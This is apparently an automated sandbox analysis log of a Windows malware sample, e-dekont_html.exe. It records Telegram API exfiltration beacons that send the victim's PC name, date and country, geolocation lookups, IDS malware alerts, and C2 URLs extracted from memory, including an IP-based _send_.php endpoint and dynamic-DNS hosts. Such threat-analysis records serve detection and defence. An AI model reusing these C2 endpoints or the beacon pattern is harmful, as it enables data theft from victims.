Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 4x nop then jmp 0159F8E9h	13_2_0159F631
Source: C:\Users\user\AppData\Roaming\fahKSvwo.exe	Code function: 4x nop then jmp 0159FD41h	13_2_0159FA88

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.e-dekont_html.exe.3d1e770.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.e-dekont_html.exe.3cdb750.3.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49749 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:61283 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Nov 2024 06:52:27 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 20 Nov 2024 06:52:32 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: e-dekont_html.exe, 00000000.00000002.1769422089.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 00000009.00000002.1839101508.0000000002D05000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: e-dekont_html.exe, fahKSvwo.exe.0.dr	String found in binary or memory: http://tempuri.org/project_mgtDataSet.xsdOproject_mgt_system.Properties.Resources
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000000.00000002.1776697265.0000000005D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20a
Source: fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003454000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enX~
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000345E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBfq
Source: e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E50000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
